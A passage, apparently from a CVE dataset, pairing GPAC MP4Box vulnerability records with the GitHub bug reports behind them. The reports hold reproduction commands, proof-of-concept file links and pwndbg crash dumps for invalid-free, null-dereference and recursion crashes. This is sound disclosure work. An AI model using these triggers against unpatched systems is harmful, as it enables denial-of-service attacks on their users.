0x4747474747474747 in ?? () #29 0x4747474747474747 in ?? () #30 0x4747474747474747 in ?? () #31 0x4747474747474747 in ?? () #32 0x4747474747474747 in ?? () #33 0x4747474747474747 in ?? () #34 0x4747474747474747 in ?? () #35 0x4747474747474747 in ?? () #36 0x4747474747474747 in ?? () #37 0x4747474747474747 in ?? () #38 0x4747474747474747 in ?? () #39 0x4747474747474747 in ?? () #40 0x4747474747474747 in ?? () #41 0x4747474747474747 in ?? () #42 0x4747474747474747 in ?? () #43 0x4747474747474747 in ?? () #44 0x4747474747474747 in ?? () #45 0x4747474747474747 in ?? () #46 0x4747474747474747 in ?? () #47 0x4747474747474747 in ?? () #48 0x4747474747474747 in ?? () #49 0x4747474747474747 in ?? () #50 0x4747474747474747 in ?? () #51 0x4747474747474747 in ?? () #52 0x4747474747474747 in ?? () #53 0x4747474747474747 in ?? () #54 0x4747474747474747 in ?? () #55 0x47474747ef474747 in ?? () #56 0x4747474747474747 in ?? () #57 0x4747474747474747 in ?? () #58 0x4747474747474747 in ?? () #59 0x0047474747474747 in ?? () #60 0x868bc44dfe5d4600 in ?? () #61 0x00007fffffff98b0 in ?? () #62 0x0000000000417966 in dump_isom_scene (file=<error reading variable: Cannot access memory at address 0x474747474747366f>, inName=<error reading variable: Cannot access memory at address 0x4747474747473667>, is_final_name=<error reading variable: Cannot access memory at address 0x4747474747473663>, dump_mode=<error reading variable: Cannot access memory at address 0x474747474747365f>, do_log=<error reading variable: Cannot access memory at address 0x474747474747365b>, no_odf_conv=<error reading variable: Cannot access memory at address 0x4747474747473657>) at filedump.c:213 Backtrace stopped: Cannot access memory at address 0x474747474747474f ```

stack overflow in gf_node_get_name () at scenegraph/base_scenegraph.c:1293

https://api.github.com/repos/gpac/gpac/issues/2027/comments

2022-01-03T13:30:56Z

2022-01-04T10:19:42Z

https://github.com/gpac/gpac/issues/2027

CVE-2021-46239

2022-01-21T21:15:08.797

The binary MP4Box in GPAC v1.1.0 was discovered to contain an invalid free vulnerability via the function gf_free () at utils/alloc.c. This vulnerability can lead to a Denial of Service (DoS).

https://github.com/gpac/gpac/issues/2026

github.com

Thanks for reporting your issue. Please make sure these boxes are checked before submitting your issue - thank you! - [x] I looked for a similar issue and couldn't find any. - [x] I tried with the latest version of GPAC. Installers available at http://gpac.io/downloads/gpac-nightly-builds/ - [x] I give enough information for contributors to reproduce my issue (meaningful title, github labels, platform and compiler, command-line ...). I can share files anonymously with this dropbox: https://www.mediafire.com/filedrop/filedrop_hosted.php?drop=eec9e058a9486fe4e99c33021481d9e1826ca9dbc242a6cfaab0fe95da5e5d95 Detailed guidelines: http://gpac.io/2013/07/16/how-to-file-a-bug-properly/ **Version:** ``` ./MP4Box -version MP4Box - GPAC version 1.1.0-DEV-rev1582-g94db9779c-master (c) 2000-2021 Telecom Paris distributed under LGPL v2.1+ - http://gpac.io MINI build (encoders, decoders, audio and video output disabled) Please cite our work in your research: GPAC Filters: https://doi.org/10.1145/3339825.3394929 GPAC: https://doi.org/10.1145/1291233.1291452 GPAC Configuration: --static-mp4box --enable-debug -- Features: GPAC_CONFIG_LINUX GPAC_64_BITS GPAC_HAS_SOCK_UN GPAC_MINIMAL_ODF GPAC_HAS_QJS GPAC_HAS_FREETYPE GPAC_HAS_JPEG GPAC_HAS_PNG GPAC_DISABLE_3D ``` **command:** ``` ./bin/gcc/MP4Box -disox -ttxt -2 -dump-chap-ogg -dump-cover -drtp -bt -out /dev/null POC1 ``` [POC1.zip](https://github.com/gpac/gpac/files/7802061/POC1.zip) **Result** ``` Segmentation fault. ``` **bt** ``` Program received signal SIGSEGV, Segmentation fault. 0x0000000000d43f7d in free () LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ──────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────────────────────────────────────────────────────── RAX 0x0 RBX 0x400788 ◂— 0x0 RCX 0x110ac60 ◂— 0x0 RDX 0xe0bfa8 ◂— 0xff71f347ff71f31e RDI 0x21 RSI 0x110ac60 ◂— 0x0 R8 0x7 R9 0x0 R10 0xffffffd8 R11 0x246 R12 0xd0a2b0 (__libc_csu_fini) ◂— endbr64 R13 0x0 R14 0x10a6018 (_GLOBAL_OFFSET_TABLE_+24) —▸ 0xd80db0 (__memmove_avx_unaligned_erms) ◂— endbr64 R15 0x0 RBP 0x7fffffff7600 —▸ 0x7fffffff7660 —▸ 0x7fffffff7690 —▸ 0x7fffffff76f0 —▸ 0x7fffffff7720 ◂— ... RSP 0x7fffffff75d0 —▸ 0x7fffffff7610 —▸ 0x7fffffff7630 —▸ 0x7fffffff7690 —▸ 0x7fffffff76f0 ◂— ... RIP 0xd43f7d (free+29) ◂— mov rax, qword ptr [rdi - 8] ────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────────────────────────────────────── ► 0xd43f7d <free+29> mov rax, qword ptr [rdi - 8] 0xd43f81 <free+33> lea rsi, [rdi - 0x10] 0xd43f85 <free+37> test al, 2 0xd43f87 <free+39> jne free+96 <free+96> ↓ 0xd43fc0 <free+96> mov edx, dword ptr [rip + 0x387f0e] <0x10cbed4> 0xd43fc6 <free+102> test edx, edx 0xd43fc8 <free+104> jne free+123 <free+123> ↓ 0xd43fdb <free+123> mov rdi, rsi 0xd43fde <free+126> add rsp, 0x18 0xd43fe2 <free+130> jmp munmap_chunk <munmap_chunk> ↓ 0xd3ee70 <munmap_chunk> sub rsp, 8 ────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────────────────────────────── 00:0000│ rsp 0x7fffffff75d0 —▸ 0x7fffffff7610 —▸ 0x7fffffff7630 —▸ 0x7fffffff7690 —▸ 0x7fffffff76f0 ◂— ... 01:0008│ 0x7fffffff75d8 —▸ 0xd0a2b0 (__libc_csu_fini) ◂— endbr64 02:0010│ 0x7fffffff75e0 ◂— 0x0 03:0018│ 0x7fffffff75e8 —▸ 0x450b75 (gf_free+28) ◂— nop 04:0020│ 0x7fffffff75f0 ◂— 0x0 05:0028│ 0x7fffffff75f8 ◂— 0x21 /* '!' */ 06:0030│ rbp 0x7fffffff7600 —▸ 0x7fffffff7660 —▸ 0x7fffffff7690 —▸ 0x7fffffff76f0 —▸ 0x7fffffff7720 ◂— ... 07:0038│ 0x7fffffff7608 —▸ 0x52b08f (gf_svg_delete_attribute_value+324) ◂— mov rax, qword ptr [rbp - 0x40] ──────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────────────────────────────────── ► f 0 0xd43f7d free+29 f 1 0x450b75 gf_free+28 f 2 0x52b08f gf_svg_delete_attribute_value+324 f 3 0x52aea9 svg_delete_one_anim_value+54 f 4 0x52b1ae gf_svg_delete_attribute_value+611 f 5 0x551ed6 gf_node_delete_attributes+70 f 6 0x52aaa7 gf_svg_node_del+642 f 7 0x47c020 gf_node_del+521 ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> bt #0 0x0000000000d43f7d in free () #1 0x0000000000450b75 in gf_free (ptr=0x21) at utils/alloc.c:165 #2 0x000000000052b08f in gf_svg_delete_attribute_value (type=71, value=0x110ac60, sg=0x10ebe70) at scenegraph/svg_types.c:425 #3 0x000000000052aea9 in svg_delete_one_anim_value (anim_datatype=71 'G', anim_value=0x110ac60, sg=0x10ebe70) at scenegraph/svg_types.c:363 #4 0x000000000052b1ae in gf_svg_delete_attribute_value (type=52, value=0x110ac40, sg=0x10ebe70) at scenegraph/svg_types.c:462 #5 0x0000000000551ed6 in gf_node_delete_attributes (node=0x10fdea0) at scenegraph/xml_ns.c:722 #6 0x000000000052aaa7 in gf_svg_node_del (node=0x10fdea0) at scenegraph/svg_types.c:124 #7 0x000000000047c020 in gf_node_del (node=0x10fdea0) at scenegraph/base_scenegraph.c:1909 #8 0x00000000004797a6 in gf_node_unregister (pNode=0x10fdea0, parentNode=0x10fbce0) at scenegraph/base_scenegraph.c:761 #9 0x000000000047ad0f in gf_node_unregister_children (container=0x10fbce0, child=0x10fe340) at scenegraph/base_scenegraph.c:1369 #10 0x000000000047b27f in gf_sg_parent_reset (node=0x10fbce0) at scenegraph/base_scenegraph.c:1582 #11 0x000000000052aab3 in gf_svg_node_del (node=0x10fbce0) at scenegraph/svg_types.c:125 #12 0x000000000047c020 in gf_node_del (node=0x10fbce0) at scenegraph/base_scenegraph.c:1909 #13 0x00000000004797a6 in gf_node_unregister (pNode=0x10fbce0, parentNode=0x10fb7c0) at scenegraph/base_scenegraph.c:761 #14 0x000000000047ad0f in gf_node_unregister_children (container=0x10fb7c0, child=0x10fe300) at scenegraph/base_scenegraph.c:1369 #15 0x000000000047b27f in gf_sg_parent_reset (node=0x10fb7c0) at scenegraph/base_scenegraph.c:1582 #16 0x000000000052aab3 in gf_svg_node_del (node=0x10fb7c0) at scenegraph/svg_types.c:125 #17 0x000000000047c020 in gf_node_del (node=0x10fb7c0) at scenegraph/base_scenegraph.c:1909 #18 0x00000000004797a6 in gf_node_unregister (pNode=0x10fb7c0, parentNode=0x10fb2a0) at scenegraph/base_scenegraph.c:761 #19 0x000000000047ad0f in gf_node_unregister_children (container=0x10fb2a0, child=0x10fe2c0) at scenegraph/base_scenegraph.c:1369 #20 0x000000000047b27f in gf_sg_parent_reset (node=0x10fb2a0) at scenegraph/base_scenegraph.c:1582 #21 0x000000000052aab3 in gf_svg_node_del (node=0x10fb2a0) at scenegraph/svg_types.c:125 #22 0x000000000047c020 in gf_node_del (node=0x10fb2a0) at scenegraph/base_scenegraph.c:1909 #23 0x00000000004797a6 in gf_node_unregister (pNode=0x10fb2a0, parentNode=0x10fad80) at scenegraph/base_scenegraph.c:761 #24 0x000000000047ad0f in gf_node_unregister_children (container=0x10fad80, child=0x10fe200) at scenegraph/base_scenegraph.c:1369 #25 0x000000000047b27f in gf_sg_parent_reset (node=0x10fad80) at scenegraph/base_scenegraph.c:1582 #26 0x000000000052aab3 in gf_svg_node_del (node=0x10fad80) at scenegraph/svg_types.c:125 #27 0x000000000047c020 in gf_node_del (node=0x10fad80) at scenegraph/base_scenegraph.c:1909 #28 0x00000000004797a6 in gf_node_unregister (pNode=0x10fad80, parentNode=0x10fa860) at scenegraph/base_scenegraph.c:761 #29 0x000000000047ad0f in gf_node_unregister_children (container=0x10fa860, child=0x110aa40) at scenegraph/base_scenegraph.c:1369 #30 0x000000000047b27f in gf_sg_parent_reset (node=0x10fa860) at scenegraph/base_scenegraph.c:1582 #31 0x000000000052aab3 in gf_svg_node_del (node=0x10fa860) at scenegraph/svg_types.c:125 #32 0x000000000047c020 in gf_node_del (node=0x10fa860) at scenegraph/base_scenegraph.c:1909 #33 0x00000000004797a6 in gf_node_unregister (pNode=0x10fa860, parentNode=0x10fa340) at scenegraph/base_scenegraph.c:761 #34 0x000000000047ad0f in gf_node_unregister_children (container=0x10fa340, child=0x110aa80) at scenegraph/base_scenegraph.c:1369 #35 0x000000000047b27f in gf_sg_parent_reset (node=0x10fa340) at scenegraph/base_scenegraph.c:1582 #36 0x000000000052aab3 in gf_svg_node_del (node=0x10fa340) at scenegraph/svg_types.c:125 #37 0x000000000047c020 in gf_node_del (node=0x10fa340) at scenegraph/base_scenegraph.c:1909 #38 0x00000000004797a6 in gf_node_unregister (pNode=0x10fa340, parentNode=0x10f9e20) at scenegraph/base_scenegraph.c:761 #39 0x000000000047ad0f in gf_node_unregister_children (container=0x10f9e20, child=0x110aac0) at scenegraph/base_scenegraph.c:1369 #40 0x000000000047b27f in gf_sg_parent_reset (node=0x10f9e20) at scenegraph/base_scenegraph.c:1582 #41 0x000000000052aab3 in gf_svg_node_del (node=0x10f9e20) at scenegraph/svg_types.c:125 #42 0x000000000047c020 in gf_node_del (node=0x10f9e20) at scenegraph/base_scenegraph.c:1909 #43 0x00000000004797a6 in gf_node_unregister (pNode=0x10f9e20, parentNode=0x10f9900) at scenegraph/base_scenegraph.c:761 #44 0x000000000047ad0f in gf_node_unregister_children (container=0x10f9900, child=0x110aa00) at scenegraph/base_scenegraph.c:1369 #45 0x000000000047b27f in gf_sg_parent_reset (node=0x10f9900) at scenegraph/base_scenegraph.c:1582 #46 0x000000000052aab3 in gf_svg_node_del (node=0x10f9900) at scenegraph/svg_types.c:125 #47 0x000000000047c020 in gf_node_del (node=0x10f9900) at scenegraph/base_scenegraph.c:1909 #48 0x00000000004797a6 in gf_node_unregister (pNode=0x10f9900, parentNode=0x10f9320) at scenegraph/base_scenegraph.c:761 #49 0x000000000047ad0f in gf_node_unregister_children (container=0x10f9320, child=0x110a940) at scenegraph/base_scenegraph.c:1369 #50 0x000000000047b27f in gf_sg_parent_reset (node=0x10f9320) at scenegraph/base_scenegraph.c:1582 #51 0x000000000052aab3 in gf_svg_node_del (node=0x10f9320) at scenegraph/svg_types.c:125 #52 0x000000000047c020 in gf_node_del (node=0x10f9320) at scenegraph/base_scenegraph.c:1909 #53 0x00000000004797a6 in gf_node_unregister (pNode=0x10f9320, parentNode=0x10f9220) at scenegraph/base_scenegraph.c:761 #54 0x000000000047ad0f in gf_node_unregister_children (container=0x10f9220, child=0x110a980) at scenegraph/base_scenegraph.c:1369 #55 0x000000000047b27f in gf_sg_parent_reset (node=0x10f9220) at scenegraph/base_scenegraph.c:1582 #56 0x000000000052aab3 in gf_svg_node_del (node=0x10f9220) at scenegraph/svg_types.c:125 #57 0x000000000047c020 in gf_node_del (node=0x10f9220) at scenegraph/base_scenegraph.c:1909 #58 0x00000000004797a6 in gf_node_unregister (pNode=0x10f9220, parentNode=0x0) at scenegraph/base_scenegraph.c:761 #59 0x0000000000479423 in gf_node_try_destroy (sg=0x10ebe70, pNode=0x10f9220, parentNode=0x0) at scenegraph/base_scenegraph.c:667 #60 0x000000000047dac7 in gf_sg_command_del (com=0x10f8fd0) at scenegraph/commands.c:97 #61 0x00000000006a0b93 in gf_sm_au_del (sc=0x10f6470, au=0x10f85a0) at scene_manager/scene_manager.c:113 #62 0x00000000006a0c24 in gf_sm_reset_stream (sc=0x10f6470) at scene_manager/scene_manager.c:126 #63 0x00000000006a0c58 in gf_sm_delete_stream (sc=0x10f6470) at scene_manager/scene_manager.c:133 #64 0x00000000006a0d03 in gf_sm_del (ctx=0x10ec2a0) at scene_manager/scene_manager.c:147 #65 0x000000000041797b in dump_isom_scene (file=0x7fffffffe654 "free-gf_free/POC1", inName=0x7fffffffe64a "/dev/null", is_final_name=GF_TRUE, dump_mode=GF_SM_DUMP_BT, do_log=GF_FALSE, no_odf_conv=GF_FALSE) at filedump.c:216 #66 0x000000000041521f in mp4boxMain (argc=11, argv=0x7fffffffe2e8) at main.c:6044 #67 0x000000000041719b in main (argc=11, argv=0x7fffffffe2e8) at main.c:6496 #68 0x0000000000d09a40 in __libc_start_main () #69 0x000000000040211e in _start () pwndbg> ```

Invalid free in MP4Box

https://api.github.com/repos/gpac/gpac/issues/2026/comments

2022-01-03T13:18:56Z

2022-01-04T10:19:42Z

https://github.com/gpac/gpac/issues/2026

CVE-2021-46240

2022-01-21T21:15:08.840

A NULL pointer dereference vulnerability exists in GPAC v1.1.0 via the function gf_dump_vrml_sffield () at scene_manager/scene_dump.c. This vulnerability can lead to a Denial of Service (DoS).

https://github.com/gpac/gpac/issues/2028

github.com

Thanks for reporting your issue. Please make sure these boxes are checked before submitting your issue - thank you! - [x] I looked for a similar issue and couldn't find any. - [x] I tried with the latest version of GPAC. Installers available at http://gpac.io/downloads/gpac-nightly-builds/ - [x] I give enough information for contributors to reproduce my issue (meaningful title, github labels, platform and compiler, command-line ...). I can share files anonymously with this dropbox: https://www.mediafire.com/filedrop/filedrop_hosted.phpdrop=eec9e058a9486fe4e99c33021481d9e1826ca9dbc242a6cfaab0fe95da5e5d95 Detailed guidelines: http://gpac.io/2013/07/16/how-to-file-a-bug-properly/ **Version:** ``` ./MP4Box -version MP4Box - GPAC version 1.1.0-DEV-rev1582-g94db9779c-master (c) 2000-2021 Telecom Paris distributed under LGPL v2.1+ - http://gpac.io MINI build (encoders, decoders, audio and video output disabled) Please cite our work in your research: GPAC Filters: https://doi.org/10.1145/3339825.3394929 GPAC: https://doi.org/10.1145/1291233.1291452 GPAC Configuration: --static-mp4box --enable-debug -- Features: GPAC_CONFIG_LINUX GPAC_64_BITS GPAC_HAS_SOCK_UN GPAC_MINIMAL_ODF GPAC_HAS_QJS GPAC_HAS_FREETYPE GPAC_HAS_JPEG GPAC_HAS_PNG GPAC_DISABLE_3D ``` **command:** ``` ./bin/gcc/MP4Box -disox -ttxt -2 -dump-chap-ogg -dump-cover -drtp -bt -out /dev/null POC3 ``` [POC3.zip](https://github.com/gpac/gpac/files/7802196/POC3.zip) **Result** ``` Segmentation fault. ``` **bt** ``` Program received signal SIGSEGV, Segmentation fault. 0x0000000000d6de15 in __strlen_avx2 () LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ──────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────────────────────────────────────────────────────── RAX 0x0 RBX 0xe040d1 ◂— 'SFScript' RCX 0x0 RDX 0x0 RDI 0x0 RSI 0xd R8 0x1107f30 —▸ 0x1107f60 ◂— 0x100010051 /* 'Q' */ R9 0x1 R10 0x0 R11 0x1111f70 ◂— 0x0 R12 0x1111f70 ◂— 0x0 R13 0x0 R14 0x10a6018 (_GLOBAL_OFFSET_TABLE_+24) —▸ 0xd80db0 (__memmove_avx_unaligned_erms) ◂— endbr64 R15 0x0 RBP 0x7fffffff8370 —▸ 0x7fffffff83c0 —▸ 0x7fffffff8480 —▸ 0x7fffffff85b0 —▸ 0x7fffffff8660 ◂— ... RSP 0x7fffffff82c8 —▸ 0x6db0ac (gf_dump_vrml_sffield+1108) ◂— mov dword ptr [rbp - 0x6c], eax RIP 0xd6de15 (__strlen_avx2+21) ◂— vpcmpeqb ymm1, ymm0, ymmword ptr [rdi] ────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────────────────────────────────────── ► 0xd6de15 <__strlen_avx2+21> vpcmpeqb ymm1, ymm0, ymmword ptr [rdi] 0xd6de19 <__strlen_avx2+25> vpmovmskb eax, ymm1 0xd6de1d <__strlen_avx2+29> test eax, eax 0xd6de1f <__strlen_avx2+31> jne __strlen_avx2+272 <__strlen_avx2+272> ↓ 0xd6df10 <__strlen_avx2+272> tzcnt eax, eax 0xd6df14 <__strlen_avx2+276> add rax, rdi 0xd6df17 <__strlen_avx2+279> sub rax, rdx 0xd6df1a <__strlen_avx2+282> vzeroupper 0xd6df1d <__strlen_avx2+285> ret 0xd6df1e <__strlen_avx2+286> nop 0xd6df20 <__strlen_avx2+288> tzcnt eax, eax ────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────────────────────────────── 00:0000│ rsp 0x7fffffff82c8 —▸ 0x6db0ac (gf_dump_vrml_sffield+1108) ◂— mov dword ptr [rbp - 0x6c], eax 01:0008│ 0x7fffffff82d0 —▸ 0x1107f30 —▸ 0x1107f60 ◂— 0x100010051 /* 'Q' */ 02:0010│ 0x7fffffff82d8 —▸ 0x1112010 ◂— 0x0 03:0018│ 0x7fffffff82e0 ◂— 0xd00000000 04:0020│ 0x7fffffff82e8 —▸ 0x10f7610 —▸ 0x10fabd0 ◂— 0x0 05:0028│ 0x7fffffff82f0 —▸ 0x7fffffff83f0 ◂— 0x0 06:0030│ 0x7fffffff82f8 —▸ 0x443f20 (gf_fprintf+247) ◂— mov dword ptr [rbp - 0xd4], eax 07:0038│ 0x7fffffff8300 —▸ 0xe3f948 ◂— 0x6c696863005d0020 /* ' ' */ ──────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────────────────────────────────── ► f 0 0xd6de15 __strlen_avx2+21 f 1 0x6db0ac gf_dump_vrml_sffield+1108 f 2 0x6dbb5a gf_dump_vrml_simple_field+361 f 3 0x6dcb89 gf_dump_vrml_dyn_field+1204 f 4 0x6ded60 gf_dump_vrml_node+4696 f 5 0x6e2bfd DumpProtos+2532 f 6 0x6e2f97 DumpSceneReplace+426 f 7 0x6e43d3 gf_sm_dump_command_list+999 ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> bt #0 0x0000000000d6de15 in __strlen_avx2 () #1 0x00000000006db0ac in gf_dump_vrml_sffield (sdump=0x10f7610, type=13, ptr=0x1112010, is_mf=GF_FALSE, node=0x1107f30) at scene_manager/scene_dump.c:588 #2 0x00000000006dbb5a in gf_dump_vrml_simple_field (sdump=0x10f7610, field=..., parent=0x1107f30) at scene_manager/scene_dump.c:775 #3 0x00000000006dcb89 in gf_dump_vrml_dyn_field (sdump=0x10f7610, node=0x1107f30, field=..., has_sublist=GF_FALSE) at scene_manager/scene_dump.c:1125 #4 0x00000000006ded60 in gf_dump_vrml_node (sdump=0x10f7610, node=0x1107f30, in_list=GF_TRUE, fieldContainer=0x0) at scene_manager/scene_dump.c:1666 #5 0x00000000006e2bfd in DumpProtos (sdump=0x10f7610, protoList=0x10f9ba0) at scene_manager/scene_dump.c:2522 #6 0x00000000006e2f97 in DumpSceneReplace (sdump=0x10f7610, com=0x10f9b00) at scene_manager/scene_dump.c:2572 #7 0x00000000006e43d3 in gf_sm_dump_command_list (sdump=0x10f7610, comList=0x10f79d0, indent=0, skip_first_replace=GF_TRUE) at scene_manager/scene_dump.c:2907 #8 0x00000000006e648e in gf_sm_dump (ctx=0x10ed0e0, rad_name=0x7fffffffe606 "/dev/null", is_final_name=GF_TRUE, dump_mode=GF_SM_DUMP_BT) at scene_manager/scene_dump.c:3519 #9 0x0000000000417966 in dump_isom_scene (file=0x7fffffffe610 "__strlen_avx2-gf_dump_vrml_sffield/id:000947,sig:11,src:014856+019234,op:splice,rep:8", inName=0x7fffffffe606 "/dev/null", is_final_name=GF_TRUE, dump_mode=GF_SM_DUMP_BT, do_log=GF_FALSE, no_odf_conv=GF_FALSE) at filedump.c:213 #10 0x000000000041521f in mp4boxMain (argc=11, argv=0x7fffffffe2a8) at main.c:6044 #11 0x000000000041719b in main (argc=11, argv=0x7fffffffe2a8) at main.c:6496 #12 0x0000000000d09a40 in __libc_start_main () #13 0x000000000040211e in _start () pwndbg> ```

Null Pointer Dereference in gf_dump_vrml_sffield () at scene_manager/scene_dump.c:588

https://api.github.com/repos/gpac/gpac/issues/2028/comments

2022-01-03T13:46:36Z

2022-01-04T10:19:42Z

https://github.com/gpac/gpac/issues/2028

CVE-2021-46311

2022-01-21T21:15:09.017

A NULL pointer dereference vulnerability exists in GPAC v1.1.0 via the function gf_sg_destroy_routes () at scenegraph/vrml_route.c. This vulnerability can lead to a Denial of Service (DoS).

https://github.com/gpac/gpac/issues/2038

github.com

Thanks for reporting your issue. Please make sure these boxes are checked before submitting your issue - thank you! - [x] I looked for a similar issue and couldn't find any. - [x] I tried with the latest version of GPAC. Installers available at http://gpac.io/downloads/gpac-nightly-builds/ - [x] I give enough information for contributors to reproduce my issue (meaningful title, github labels, platform and compiler, command-line ...). I can share files anonymously with this dropbox: https://www.mediafire.com/filedrop/filedrop_hosted.php?drop=eec9e058a9486fe4e99c33021481d9e1826ca9dbc242a6cfaab0fe95da5e5d95 Detailed guidelines: http://gpac.io/2013/07/16/how-to-file-a-bug-properly/ **Version:** ``` ./MP4Box -version MP4Box - GPAC version 1.1.0-DEV-rev1615-g9ce097b4a-master ``` **command:** ``` ./bin/gcc/MP4Box -svg POC1 ``` [POC1.zip](https://github.com/gpac/gpac/files/7834568/POC1.zip) **Result** ``` Segmentation fault ``` **bt** ``` Program received signal SIGSEGV, Segmentation fault. 0x00000000004e9a35 in gf_sg_destroy_routes (sg=0x10f0c30) at scenegraph/vrml_route.c:126 126 if (r->name) gf_free(r->name); LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ──────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]────────────────────────────────────────────────────────────────────────────────────────────────── RAX 0x0 RBX 0x400788 ◂— 0x0 RCX 0x10febd8 —▸ 0x1102210 ◂— 0x100 RDX 0x0 RDI 0x10f0ec0 ◂— 0x0 RSI 0x0 R8 0xffffffffffffffe0 R9 0x0 R10 0x10febf8 ◂— 0x0 R11 0x10fea60 —▸ 0x10e2210 ◂— 0x6000500040007 R12 0xd0de10 (__libc_csu_fini) ◂— endbr64 R13 0x0 R14 0x10aa018 (_GLOBAL_OFFSET_TABLE_+24) —▸ 0xd84910 (__memmove_avx_unaligned_erms) ◂— endbr64 R15 0x0 RBP 0x7fffffff8710 —▸ 0x7fffffff87b0 —▸ 0x7fffffff87d0 —▸ 0x7fffffff98d0 —▸ 0x7fffffffe170 ◂— ... RSP 0x7fffffff86f0 —▸ 0x7fffffff8710 —▸ 0x7fffffff87b0 —▸ 0x7fffffff87d0 —▸ 0x7fffffff98d0 ◂— ... RIP 0x4e9a35 (gf_sg_destroy_routes+93) ◂— mov rax, qword ptr [rax + 8] ───────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────────────────────────────────────── ► 0x4e9a35 <gf_sg_destroy_routes+93> mov rax, qword ptr [rax + 8] 0x4e9a39 <gf_sg_destroy_routes+97> test rax, rax 0x4e9a3c <gf_sg_destroy_routes+100> je gf_sg_destroy_routes+118 <gf_sg_destroy_routes+118> ↓ 0x4e9a4e <gf_sg_destroy_routes+118> mov rax, qword ptr [rbp - 8] 0x4e9a52 <gf_sg_destroy_routes+122> mov rdi, rax 0x4e9a55 <gf_sg_destroy_routes+125> call gf_free <gf_free> 0x4e9a5a <gf_sg_destroy_routes+130> mov rax, qword ptr [rbp - 0x18] 0x4e9a5e <gf_sg_destroy_routes+134> mov rax, qword ptr [rax + 0x110] 0x4e9a65 <gf_sg_destroy_routes+141> mov rdi, rax 0x4e9a68 <gf_sg_destroy_routes+144> call gf_list_count <gf_list_count> 0x4e9a6d <gf_sg_destroy_routes+149> test eax, eax ────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]──────────────────────────────────────────────────────────────────────────────────────────────── In file: /home/zxq/CVE_testing/source/gpac/src/scenegraph/vrml_route.c 121 { 122 while (gf_list_count(sg->routes_to_destroy) ) { 123 GF_Route *r = (GF_Route *)gf_list_get(sg->routes_to_destroy, 0); 124 gf_list_rem(sg->routes_to_destroy, 0); 125 gf_sg_route_unqueue(sg, r); ► 126 if (r->name) gf_free(r->name); 127 gf_free(r); 128 } 129 } 130 131 ────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────────────────────────────── 00:0000│ rsp 0x7fffffff86f0 —▸ 0x7fffffff8710 —▸ 0x7fffffff87b0 —▸ 0x7fffffff87d0 —▸ 0x7fffffff98d0 ◂— ... 01:0008│ 0x7fffffff86f8 —▸ 0x10f0c30 ◂— 0x0 02:0010│ 0x7fffffff8700 ◂— 0x0 03:0018│ 0x7fffffff8708 ◂— 0x0 04:0020│ rbp 0x7fffffff8710 —▸ 0x7fffffff87b0 —▸ 0x7fffffff87d0 —▸ 0x7fffffff98d0 —▸ 0x7fffffffe170 ◂— ... 05:0028│ 0x7fffffff8718 —▸ 0x47a183 (gf_sg_reset+1350) ◂— mov rax, qword ptr [rbp - 0x88] 06:0030│ 0x7fffffff8720 ◂— 0x0 07:0038│ 0x7fffffff8728 —▸ 0x10f0c30 ◂— 0x0 ──────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────────────────────────────────── ► f 0 0x4e9a35 gf_sg_destroy_routes+93 f 1 0x47a183 gf_sg_reset+1350 f 2 0x479aa5 gf_sg_del+94 f 3 0x41827d dump_isom_scene+1265 f 4 0x415b12 mp4boxMain+6395 f 5 0x417a8e main+36 f 6 0xd0d5a0 __libc_start_main+1168 ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> bt #0 0x00000000004e9a35 in gf_sg_destroy_routes (sg=0x10f0c30) at scenegraph/vrml_route.c:126 #1 0x000000000047a183 in gf_sg_reset (sg=0x10f0c30) at scenegraph/base_scenegraph.c:502 #2 0x0000000000479aa5 in gf_sg_del (sg=0x10f0c30) at scenegraph/base_scenegraph.c:162 #3 0x000000000041827d in dump_isom_scene (file=0x7fffffffe5cc "gf_sg_destroy_routes-gf_sg_reset/id:000578,sig:11,src:008408+008855,op:splice,rep:8", inName=0x10de4a0 <outfile> "gf_sg_destroy_routes-gf_sg_reset/id:000578,sig:11,src:008408+008855,op:splice,rep:8", is_final_name=GF_FALSE, dump_mode=GF_SM_DUMP_SVG, do_log=GF_FALSE, no_odf_conv=GF_FALSE) at filedump.c:217 #4 0x0000000000415b12 in mp4boxMain (argc=3, argv=0x7fffffffe2c8) at main.c:6140 #5 0x0000000000417a8e in main (argc=3, argv=0x7fffffffe2c8) at main.c:6592 #6 0x0000000000d0d5a0 in __libc_start_main () #7 0x000000000040211e in _start () ```

Null Pointer Dereference in gf_sg_destroy_routes（）at scenegraph/vrml_route.c:126

https://api.github.com/repos/gpac/gpac/issues/2038/comments

2022-01-09T06:44:25Z

2022-01-11T17:35:41Z

https://github.com/gpac/gpac/issues/2038

CVE-2021-46313

2022-01-21T21:15:09.060

The binary MP4Box in GPAC v1.0.1 was discovered to contain a segmentation fault via the function __memmove_avx_unaligned_erms (). This vulnerability can lead to a Denial of Service (DoS).

https://github.com/gpac/gpac/issues/2039

github.com

